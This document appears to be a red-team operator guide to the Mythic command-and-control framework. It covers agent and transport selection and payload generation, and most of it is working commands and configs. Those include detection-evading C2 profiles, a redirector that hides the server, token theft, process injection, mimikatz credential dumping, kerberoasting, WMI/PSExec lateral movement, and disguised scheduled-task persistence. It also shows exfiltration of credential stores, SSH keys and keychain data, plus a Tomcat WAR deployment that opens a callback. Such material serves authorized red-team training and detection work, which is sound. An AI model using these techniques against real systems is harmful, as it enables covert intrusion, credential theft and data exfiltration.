mythic-operator
05 — Mythic Operator Guide
BLUF: Mythic is a modular, containerized C2 framework where every agent and every transport layer is a swappable Docker container. It gives you Apollo (.NET Windows, BOF support), Athena (.NET 6 cross-platform), Medusa (Python/Java/WAR), and Hannibal (PIC shellcode) as agents, paired with HTTP, HTTPS, DNS, WebSocket, SMB, or TCP transports — all managed from a collaborative web UI and a single CLI. This guide covers operator-grade setup, agent selection, C2 profile OPSEC, payload generation, and post-callback technique.
Authorized use only. All techniques for professional red team engagements with written scope.
Related: 7.6 Sliver HTTP Profiles · 7.7 Advanced C2 · 7.1 Beacon Evasion · 7.2 C2 Infra
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Architecture Overview
Operator Browser
|
| HTTPS :7443
v
+--------------------+
| Mythic Teamserver | (Golang API + PostgreSQL + RabbitMQ)
| - Web UI |
| - REST API |
| - GraphQL API |
+--------------------+
| |
| RabbitMQ messaging bus
| |
+-----------+ +---------------+
| Payload | | C2 Profile |
| Container | | Container |
| (Apollo, | | (http, httpx, |
| Athena, | | dns, smb, |
| Medusa) | | websocket) |
+-----------+ +---------------+
|
[Internet / Target network]
|
+------+-------+
| Agent/Implant| <- running on target
+--------------+
- Payload type container — builds the agent binary/shellcode and defines available commands
- C2 profile container — handles all traffic between agent and teamserver (encryption, protocol shaping)
- Teamserver — orchestrates tasks, stores data, serves the UI; never touches the network directly
- Containers communicate via RabbitMQ; compromise of the C2 channel doesn't expose the teamserver port
1 — Install
# Requirements: Docker + Docker Compose (v2)
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo make
# Start the framework
sudo ./mythic-cli start
# Web UI: https://localhost:7443
# Credentials printed to terminal on first start — change immediately:
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD
# Health check:
sudo ./mythic-cli status # all containers green?
sudo ./mythic-cli logs mythic_server # teamserver logs
Firewall the Teamserver
# Nothing should reach the Mythic server except:
# - Operator management (22, 7443 from your VPN/jump box)
# - Redirector IP on the C2 port (e.g. 443)
ufw default deny incoming
ufw allow from YOUR_VPN_IP to any port 22
ufw allow from YOUR_VPN_IP to any port 7443
ufw allow from REDIRECTOR_IP to any port 443
ufw enable
# Never expose :7443 to the internet — it's the management console
2 — Install Agents and C2 Profiles
# ---- AGENTS ----
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo # Windows .NET
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena # Cross-platform .NET 6
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa # Python + Java/WAR
sudo ./mythic-cli install github https://github.com/MythicAgents/Hannibal # C PIC shellcode
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon # macOS/Linux Go
# ---- C2 PROFILES ----
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
# Verify installed:
sudo ./mythic-cli status
3 — Agent Selection Matrix
| Agent | Language | OS | Disk Format | Key Strengths | Best Use Case |
|---|---|---|---|---|---|
| Apollo | C# / .NET 4.0 | Windows | EXE, DLL, Shellcode | BOF execution, token ops, injection, SOCKS5, SSH | Primary Windows implant |
| Athena | C# / .NET 6 | Win/Lin/Mac | EXE, DLL, Shellcode | Modular plugins, AOT compile, cross-platform | Diverse env, Linux operator box |
| Medusa | Python | Win/Lin/Mac/Java | EXE, JAR, WAR | Java/Tomcat targets, Python-friendly plugins | Web app initial access → full C2 |
| Hannibal | C (PIC) | Windows | Shellcode only | No CRT, tiny footprint (~50KB), no PE headers in memory | Loader-first delivery, shellcode runner |
| Poseidon | Go | macOS, Linux | EXE | macOS-native ops, launchd persistence | macOS target post-exploitation |
Quick Decision
Windows enterprise target (EDR present)
-> Hannibal shellcode (loader stage) -> migrate to Apollo (full capability)
Tomcat / WAR initial access
-> Medusa WAR -> pivot to Apollo on Windows hosts
Cross-platform (mixed env)
-> Athena (.NET 6 AOT or single-file binary)
macOS target
-> Poseidon (launchd, osascript, keychain)
Minimal footprint / BYOL (Bring Your Own Loader)
-> Hannibal — export raw shellcode, load with your own loader
4 — C2 Profile Selection
| Profile | Transport | OPSEC Tier | Notes |
|---|---|---|---|
| httpx | HTTPS | High | TLS with Let's Encrypt, customizable headers and URIs |
| http | HTTP | Medium | Plaintext — lab use or internal pivots only |
| dns | DNS UDP | High | Survives web proxy environments, slow throughput |
| websocket | WS / WSS | High | Mimics real-time app traffic (Slack, Teams) |
| smb | Named pipe | Very High | Peer-to-peer lateral movement inside target network; no egress |
| tcp | Raw TCP | Medium | Internal pivot between compromised hosts |
Profile OPSEC Summary
Egress to internet: httpx (preferred) > websocket > dns
Internal lateral: smb (named pipe) > tcp
Through web proxy: httpx (port 443, mimics browser) > dns-over-HTTPS
Highly restricted: dns (TTL-tuned, low query rate, DoH wrapper)
5 — Payload Generation
5.1 — Web UI Flow
1. https://localhost:7443 -> Login
2. Payloads -> [+] Generate New Payload
3. Select OS: Windows / Linux / macOS
4. Select Agent: Apollo / Athena / Medusa / Hannibal
5. Select C2: httpx (recommended for most ops)
6. Configure C2 parameters (Section 5.2)
7. Select Commands to include (Section 5.3)
8. Build -> Download
5.2 — httpx Profile Configuration (OPSEC Settings)
Callback Host: https://redirect.yourdomain.com <- redirector/CDN, never direct C2 IP
Callback Port: 443
Callback Interval: 300 <- 5 min base sleep (never use defaults)
Callback Jitter: 45 <- 45% -> actual range: 165s-435s
Kill Date: 2025-12-31 <- payload auto-dies at engagement end
Encrypted Exchange Check: true <- key exchange before first task
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Headers:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
URIs (GET - check-in):
/api/v2/sync
/cdn/assets/manifest.js
/health
/static/img/logo.png
URIs (POST - task response):
/api/v2/upload
/submit
/collect
Response:
Content-Type: application/octet-stream <- not "text/plain" (C2 default IOC)
What these settings affect:
| Setting | Bad Default | Good Operator Value | Why |
|---|---|---|---|
| Callback Interval | 10s | 300s+ | 10s triggers every NDR beacon-timing rule |
| Jitter | 0 | 40-50% | Flat intervals = trivial statistical detection |
| URIs | /login, /index | /api/v2/sync, /cdn/assets/ | Known IOC paths in Snort/Suricata rules |
| User-Agent | Mythic/x.y | Chrome UA | Framework UA = instant block at proxy |
| Kill Date | none | engagement end | Dead implants that survive past scope are a liability |
5.3 — Apollo Command Selection
Apollo commands to include (balance capability vs. footprint):
Core (always include):
execute_shell shell_execute sleep exit
download upload ls cd
ps getpid whoami
Post-Exploitation:
inject shinject execute_pe
execute_assembly bof load_assembly
socks5 ssh port_scan
Credential Ops:
mimikatz dcsync make_token
steal_token rev2self
Lateral Movement:
spawn spawnto link (SMB P2P)
jump_wmi jump_psexec_psh
Persistence:
reg_write schtasks_register
OPSEC (include carefully, logs generated):
keylog screenshot clipboard_monitor
Exclude commands you don't need — smaller command set = smaller compiled binary = lower entropy / AV surface.
6 — Apollo Deep Dive (Primary Windows Agent)
Apollo is the most capable Mythic Windows agent. Treat it as the Cobalt Strike beacon equivalent.
6.1 — BOF Execution (Beacon Object Files)
Apollo can run Cobalt Strike BOFs directly — any BOF that works in CS works in Apollo.
# In Mythic UI -> Interact with Apollo callback
bof /path/to/local/whoami.o
# Run Trustedsec's BOF collection:
bof TrustedSec/situational_awareness/ProcessList.o
# Kerberoast via Rubeus BOF (in-process, no fork):
bof TrustedSec/credential_triage/kerberoast.o
# Build a custom BOF (C, compiled to COFF object):
x86_64-w64-mingw32-gcc -o custom.o -c custom.c -masm=intel
# Load into Mythic via bof command
6.2 — Token Manipulation
# List available tokens:
list_tokens
# Steal token from PID 1234 (requires SeImpersonatePrivilege or SeDebugPrivilege):
steal_token 1234
# Create token from plaintext creds (for lateral movement):
make_token DOMAIN\user Password123
# Revert to original token:
rev2self
6.3 — Process Injection
# Inject Apollo shellcode into a running process:
inject --pid 1234 --shellcode_path /tmp/apollo.bin
# Inject raw shellcode (bring your own):
shinject --pid 1234 --shellcode_path /tmp/payload.bin
# Spawn + inject (create new host process first):
spawnto --application C:\Windows\System32\svchost.exe -k netsvcs
6.4 — execute-assembly (In-Memory .NET)
# Run any .NET assembly in memory — no EXE written to disk:
execute_assembly /local/path/Rubeus.exe kerberoast /outfile:hashes.txt
execute_assembly /local/path/Seatbelt.exe -group=user
execute_assembly /local/path/SharpHound.exe -c All --zipfilename loot.zip
execute_assembly /local/path/Certify.exe find /vulnerable
6.5 — Lateral Movement
# WMI lateral movement (no PSExec):
jump_wmi --computername TARGET --command "C:\Windows\Temp\payload.exe"
# PSExec-style (service creation):
jump_psexec --computername TARGET --service_name svcupdate \
--command "C:\Windows\Temp\payload.exe"
# SMB P2P link (no new egress needed from TARGET):
# 1. Drop Apollo SMB payload on TARGET (via upload + jump)
# 2. Link from current callback:
link --host TARGET --named_pipe \\.\pipe\svcctl
# Apollo on TARGET now communicates back through the current callback
6.6 — SOCKS5 Pivot
# Start SOCKS5 proxy on operator port 1080:
socks5 start 1080
# On operator machine, route tools through proxy:
proxychains nmap -sT -p 80,443,8080,8443 192.168.10.0/24
proxychains nxc smb 192.168.10.0/24 -u admin -H NTLM_HASH
7 — Athena (Cross-Platform .NET 6)
Athena loads commands as plugins at runtime — the base agent is small, capabilities are extended post-deployment.
# Load a plugin from the C2 server at runtime:
load-assembly --assembly-name AthenaSliver
# Available built-in commands (cross-platform):
ls cd download upload
ps getpid ifconfig curl
shell sleep exit
# Build for Linux (AOT — single binary, no .NET runtime needed on target):
dotnet publish -r linux-x64 -p:PublishSingleFile=true --self-contained true
# Build for macOS ARM:
dotnet publish -r osx-arm64 -p:PublishSingleFile=true --self-contained true
Athena advantage: AOT compilation + single-file binary means no dotnet install needed on target. Portable across Linux, macOS, Windows from one codebase.
8 — Medusa (Java/WAR Targets)
WAR Deployment to Tomcat
# Generate Medusa WAR payload in Mythic UI:
# OS: Java | Agent: Medusa | C2: httpx
# Deploy via Tomcat Manager REST API:
curl -u manager:password \
-T medusa.war \
"http://TARGET:8080/manager/text/deploy?path=/monitor&update=true"
# Trigger first callback:
curl http://TARGET:8080/monitor/
# Mythic UI -> Callbacks -> new callback appears
Medusa Post-Callback
# Medusa command set (Java context):
shell whoami
shell id
ls /
download /etc/passwd
upload /tmp/stage2 ./apollo_linux
shell chmod +x /tmp/stage2 && /tmp/stage2 &
# Apollo/Athena callback now provides full feature set
9 — DNS C2 Profile
DNS as a C2 channel survives environments where all TCP/443 is proxied with SSL inspection.
# Prerequisites:
# 1. Authoritative NS for c2.yourdomain.com must point to your Mythic server IP
# DNS records:
# NS c2.yourdomain.com -> ns1.yourdomain.com
# A ns1.yourdomain.com -> MYTHIC_SERVER_IP
# In Mythic UI -> C2 Profiles -> DNS -> Start
# Configure:
# Domain: c2.yourdomain.com
# DNS Port: 53
# Generate Apollo payload with DNS profile:
# Payloads -> New -> Windows -> Apollo -> DNS
# DNS Host: c2.yourdomain.com
# Callback Interval: 60 (DNS is slower; shorter interval acceptable)
# Jitter: 30
DNS Query Rate OPSEC
# Recommended query rate to avoid anomaly detection:
# < 10 queries/minute to a single domain
# 600s interval + 30% jitter = ~7-13 min between callbacks = safe
#
# Bad subdomain pattern (DGA-like, immediately flagged):
# a3f9b2c1.c2.yourdomain.com
#
# Better (mimic update-check patterns):
# check.svc.c2.yourdomain.com
# update-status.cdn.c2.yourdomain.com
10 — SMB Profile (Peer-to-Peer Lateral Movement)
SMB named pipes move tasking between compromised hosts with zero new egress — all traffic flows through the host that already has external C2.
Architecture:
Attacker
|
| HTTPS (egress)
v
HOST_A (Apollo, httpx callback)
|
| Named Pipe (internal SMB)
v
HOST_B (Apollo, SMB profile — no internet access needed)
|
| Named Pipe
v
HOST_C (Apollo, SMB — deep internal network)
# Step 1: Generate Apollo SMB payload
# Payloads -> New -> Windows -> Apollo -> SMB
# Named Pipe: \\.\pipe\svcctl (blend with legit service names)
# Step 2: Deploy to HOST_B (via HOST_A's existing callback)
upload /local/apollo_smb.exe -> C:\Windows\Temp\svchost_helper.exe
shell C:\Windows\Temp\svchost_helper.exe
# Step 3: Link from HOST_A callback:
link --host HOST_B --named_pipe \\.\pipe\svcctl
# HOST_B now appears as a child callback under HOST_A in the UI
# All HOST_B tasking flows through HOST_A's httpx egress
11 — C2 Profile OPSEC: HTTP Header Customization
The httpx C2 profile config lives in the profile container. Override defaults to match target-environment traffic.
// InstalledServices/httpx/config/config.json (inside the container)
// Edit via: docker exec -it mythic_httpx bash
{
"instances": [
{
"port": 443,
"cert_path": "/etc/letsencrypt/live/yourdomain.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/yourdomain.com/privkey.pem",
"debug": false,
"use_ssl": true,
"payloads": {
"GET": {
"uri": ["/api/v2/sync", "/cdn/manifest.js", "/health", "/static/logo.png"],
"AgentMessage": {"name": "Authorization", "value": "Bearer {DATA}"},
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Cache-Control": "no-cache"
}
},
"POST": {
"uri": ["/api/v2/upload", "/submit", "/collect"],
"AgentMessage": {"name": "body", "value": "{DATA}"},
"headers": {
"Content-Type": "application/octet-stream",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept-Encoding": "gzip, deflate, br"
}
},
"ServerResponse": {
"headers": {
"Content-Type": "application/octet-stream",
"Cache-Control": "no-store, max-age=0",
"Server": "nginx/1.24.0"
}
}
}
}
]
}
# Restart profile container after editing config:
sudo ./mythic-cli restart mythic_httpx
# Verify JA3 fingerprint:
pip install jarm-py
python3 jarm.py yourdomain.com 443
# Should look like Cloudflare/nginx, not Mythic default
12 — Redirector Integration
Never point agents directly at the Mythic server IP.
# nginx redirector config (on a separate VPS)
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name redirect.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/redirect.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/redirect.yourdomain.com/privkey.pem;
# Only forward requests with known C2 URI patterns
location ~* ^/(api/v2|cdn|static|health|submit|collect) {
proxy_pass https://MYTHIC_SERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
# All other requests -> return 200 decoy
location / {
root /var/www/html;
try_files $uri $uri/ =200;
}
}
# Blue team hits redirector directly (recon):
curl https://redirect.yourdomain.com/
# Returns: normal-looking website (200 OK)
# Agent hits redirector with correct URI:
# /api/v2/sync -> proxied to Mythic teamserver
13 — TLS: Let's Encrypt for Mythic httpx
# On redirector VPS (Mythic server firewall blocks :443 from internet directly):
certbot certonly --standalone -d redirect.yourdomain.com
# Install cert into Mythic httpx container:
sudo cp /etc/letsencrypt/live/redirect.yourdomain.com/fullchain.pem \
/path/to/Mythic/InstalledServices/httpx/config/
sudo cp /etc/letsencrypt/live/redirect.yourdomain.com/privkey.pem \
/path/to/Mythic/InstalledServices/httpx/config/
# Update config.json cert_path and key_path to point to copied certs
sudo ./mythic-cli restart mythic_httpx
14 — Multi-Operator Setup
Mythic is built for teams. Multiple operators interact with the same callbacks simultaneously.
# Create operator accounts in UI:
# Global -> Operators -> [+] New Operator
# Assign to operation: Operations -> [your op] -> Add Operator
# Or via API (version-dependent — verify endpoint against your installed Mythic version's API docs):
# Note: operator management via the REST API has changed across Mythic versions.
# The reliable method is the web UI: Global → Operators → New Operator.
curl -k -s -X POST https://localhost:7443/api/v1/operators \
-H "Content-Type: application/json" \
-u admin:password \
-d '{"username":"operator2","password":"StrongPass!1","admin":false}'
# Create a new operation (isolates callbacks, payloads per engagement):
# Operations -> [+] New Operation -> assign operators
15 — Key Post-Callback Commands Reference
Apollo (Windows)
# Situational awareness:
ps # process list
whoami /priv # check privileges
shell net localgroup administrators
shell systeminfo | findstr /B "OS Name"
# Credential ops:
execute_assembly Rubeus.exe kerberoast /nowrap
execute_assembly Rubeus.exe asreproast /format:hashcat /nowrap
bof kerberoast.o
mimikatz sekurlsa::logonpasswords # requires SeDebugPrivilege
# Lateral:
link --host TARGET --named_pipe \\.\pipe\svcctl
jump_wmi --computername TARGET --command "C:\Windows\Temp\beacon.exe"
# Persistence:
schtasks_register --taskname "MicrosoftEdgeUpdate" \
--binary "C:\Windows\Temp\beacon.exe" \
--trigger daily --time 09:00
# Exfil:
download C:\Users\target\AppData\Roaming\Microsoft\Credentials\
download C:\Users\target\Documents\
Poseidon (macOS)
shell osascript -e 'tell app "System Events" to keystroke "p" using {command down, shift down}'
shell security find-generic-password -ga "AnyApp" # keychain dump
shell dscacheutil -q group -a name admin
download /Users/target/.ssh/id_rsa
shell launchctl list | grep -v com.apple
16 — OPSEC Checklist (Mythic-Specific)
PRE-ENGAGEMENT
[ ] Non-default admin password set (./mythic-cli config set MYTHIC_ADMIN_PASSWORD)
[ ] :7443 not reachable from internet (only from operator VPN)
[ ] Redirector fronting all agent traffic — C2 IP never exposed
[ ] Let's Encrypt cert installed (no self-signed)
[ ] JARM confirmed looks like nginx/Cloudflare (jarm.py)
[ ] Custom URIs set — not /login, /index, /gate.php
[ ] Callback interval >= 300s, jitter >= 40%
[ ] Kill date set on all payloads
[ ] Per-engagement operation created (isolates callbacks)
PAYLOAD BUILD
[ ] Tested on isolated VM matching target OS/AV before delivery
[ ] Checked via antiscan.me (does NOT share samples with AV vendors)
[ ] Hannibal used for initial foothold if EDR present (smallest PIC footprint)
[ ] Apollo for full capability after foothold established
[ ] SMB profile for hosts with no internet egress
RUNTIME
[ ] Apollo injected into legitimate host process (svchost, OneDrive) after first callback
[ ] fork_and_run disabled where possible (run BOFs in-process)
[ ] No sensitive data passed in plaintext task args (use Kerberos tickets/hashes)
[ ] All lateral movement through beacon channels
POST-ENGAGEMENT
[ ] All callbacks killed via Mythic UI (not just ignored)
[ ] Operation marked complete (freezes artifacts for reporting)
[ ] IOC package prepared for blue team: domains, IPs, JA3/JARM, payload hashes, pipe names, URI patterns
[ ] Infrastructure destroyed (not just stopped)
Key References
| Resource | Link |
|---|---|
| Mythic Documentation | docs.mythic-c2.net |
| Mythic Framework | github.com/its-a-feature/Mythic |
| Apollo Agent | github.com/MythicAgents/Apollo |
| Athena Agent | github.com/MythicAgents/Athena |
| Medusa Agent | github.com/MythicAgents/Medusa |
| Hannibal Agent (PIC C) | github.com/MythicAgents/Hannibal |
| Poseidon (macOS/Linux) | github.com/MythicAgents/Poseidon |
| MythicC2Profiles org | github.com/MythicC2Profiles |
| MythicMeta containers | github.com/MythicMeta |
| All community agents | github.com/orgs/MythicAgents/repositories |
| C2 RedTeam CheatSheets | github.com/wsummerhill/C2_RedTeam_CheatSheets |
Back to Pillar 7: C2 · Master Index